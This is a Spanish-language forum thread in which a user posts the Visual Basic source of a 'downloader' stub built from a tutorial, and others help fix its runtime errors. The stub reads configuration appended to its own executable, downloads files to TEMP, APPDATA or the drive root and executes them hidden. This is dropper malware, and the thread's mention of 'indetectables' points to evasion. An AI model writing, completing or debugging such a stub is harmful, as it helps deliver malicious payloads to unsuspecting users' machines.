Estoy realizando un Downloader siguiendo el videotutorial de Skyweb07,Todo me funciona bien Hasta que Realizo el Stub una vez compilado el stub realizo la prueba descargando el winrar pero al ejecutar el downloader resultante me sale el error siguiente Msgbox diciendo Run-time error "9":Subscript out of range

Les estaria muy agradecido si me ayudan ya que solo me farla el Stub para podet terminar y postearlo.

Aqui les dego el Code del stub:

'Las apis

Private Declare Function Bajar Lib "urlmon" Alias "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long

Private Declare Function Ejecutar Lib "Shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long

______________________________________________________________________________
'El modulo del stub
Sub Main()

Dim YO As String, sData() As String, Data As String, tmp() As String, tmp2() As String, hwnd As Long

YO = App.Path & "\" & App.EXEName & ".exe"

Open YO For Binary As #1
Data = Space(LOF(1))
Get #1, , Data
Close #1

sData() = Split(Data, "Fuck")

tmp() = Split(sData(1), "COOLXD")

For i = 0 To UBound(tmp)
Next i
If Not tmp(i) = vbNullString Then

tmp2() = Split(tmp(i), "###$$$$IFER$$$$###")
Bajar 0, tmp2(0), Extraccionx(tmp2(1)) & tmp2(3), 0, 0
If tmp2(2) = "SI" Then
Ejecutar hwnd, "Open", Extraccionx(tmp2(1)) & tmp2(3), vbNullString, vbNullString, 0
End If
End If
End Sub

___________________________________________________________________________
Function Extraccionx(sRuta As String)
Select Case sRuta
Case 0: Extraccionx = Environ("TEMP") & "\"
Case 1: Extraccionx = Environ("HOMEDRIVE") & "\"
Case 2: Extraccionx = Environ("APPDATA") & "\"
End Select

End Function
Mal echo:


For i = 0 To UBound(tmp)
Next i
If Not tmp(i) = vbNullString Then


Bien echo:


For i = 0 To UBound(tmp)
If Not tmp(i) = vbNullString Then
Next i


Saludos
Imagen

http://img844.imageshack.us/img844/8088/mujerrara.jpg
http://img715.imageshack.us/img715/5813/tigree.png
http://img830.imageshack.us/img830/6484/camaleon.png

http://img839.imageshack.us/img839/4944/tigrev2.jpg
http://img843.imageshack.us/img843/443/spidermanxn.png

http://www.youtube.com/watch?v=wHYYkciIKE0
Muchisimas gracias lo modifique pero ahora me sale el error
error '9' En tiempo de Ejecucion
el Subindice esta fuera del intervalo.

la cuestion es que al depurar me marca el error que mas abago le indico en color Naranja
paro si lo cambio de posision empiesa a salir el error 'Nex i Sin For'



tmp() = Split(sData(1), "COOLXD")


For i = 0 To UBound(tmp)
If Not tmp(i) = vbNullString Then
tmp2() = Split(tmp(i), "###$$$$IFER$$$$###")
Bajar 0, tmp2(0), Extraccionx(tmp2(1)) & tmp2(3), 0, 0
End If

If tmp2(2) = "SI" Then
Ejecutar hwnd, "Open", Extraccionx(tmp2(1)) & tmp2(3), vbNullString, vbNullString, 0
End If
Next i
End Sub
Es que haber, creo que esa linea está mal de por sí... si vistes mi downloader de indetectables, pues el stub de este, la lína de descargar es así " Descargar 0, sp(0), ruta, 0, 0 " , Descargar en tu caso es bajar pero es lo mismo, luego está sp(0) que es el link, luego la ruta que yo la hice aleatoria en TEMP, pero que en tu caso sería sp(1) suponiendo que el siguiente item es la ruta, y el sp(3) que tu pones, está mal porque estás diciendo:


bajar URL &, Extración(Aquiunlugar(1) & aquíotrolugar(2) )


así que creo que suponiendo que la ruta de extración es el item número 2 , la manera correcta sería:

Bajar 0, tmp2(0), Extraccionx(tmp2(1)), 0, 0

Ahora una duda, extraccionx que és ? el nombre de la función que usas para desencryptar el dato ? , en caso de que no sea nada podría ser también:

Bajar 0, tmp2(0), tmp2(1), 0, 0

Y por si se te añade un espacio de más podrías ponerlo así:

Bajar 0,Trim(tmp2(0)), trim(tmp2(1)), 0, 0



Saludos
Imagen

http://img844.imageshack.us/img844/8088/mujerrara.jpg
http://img715.imageshack.us/img715/5813/tigree.png
http://img830.imageshack.us/img830/6484/camaleon.png

http://img839.imageshack.us/img839/4944/tigrev2.jpg
http://img843.imageshack.us/img843/443/spidermanxn.png

http://www.youtube.com/watch?v=wHYYkciIKE0
Responder

Volver a “VB/.NET”